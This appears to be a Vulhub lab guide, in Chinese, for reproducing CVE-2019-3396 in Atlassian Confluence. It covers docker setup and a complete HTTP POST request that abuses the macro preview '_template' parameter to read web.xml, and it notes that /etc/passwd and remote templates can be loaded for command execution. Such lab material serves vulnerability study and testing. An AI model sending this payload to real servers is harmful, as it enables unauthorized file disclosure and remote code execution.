Atlassian Confluence 路徑穿越與命令執行漏洞(CVE-2019-3396)
Path confluence/CVE-2019-3396
Atlassian Confluence是企業廣泛使用的wiki系統,其6.14.2版本前存在一處未授權的目錄穿越漏洞,通過該漏洞,攻擊者可以讀取任意文件,或利用Velocity模板注入執行任意命令。
參考資料:
環境搭建
執行如下命令啟動一個Confluence Server 6.10.2:
docker-compose up -d
環境啟動后,訪問http://your-ip:8090會進入安裝引導,選擇“Trial installation”,之后會要求填寫license key。點擊“Get an evaluation license”,去Atlassian官方申請一個Confluence Server的測試證書(不要選擇Data Center和Addons):

然后點擊Next安裝即可。這一步小內存VPS可能安裝失敗或時間較長(建議使用4G內存以上的機器進行安裝與測試),請耐心等待。
如果提示填寫cluster node,路徑填寫/home/confluence即可:

后續可能要求你填寫數據庫賬號密碼,選擇postgres數據庫,地址為db,賬號密碼均為postgres:

漏洞復現
發送如下數據包,即可讀取文件web.xml:
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176
{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

6.12以前的Confluence沒有限制文件讀取的協議和路徑,我們可以使用file:///etc/passwd來讀取文件,也可以通過https://...來加載遠程文件。
該文件是一個Velocity模板,我們可以通過模板注入(SSTI)來執行任意命令:

Vulhub 文檔
推薦文章: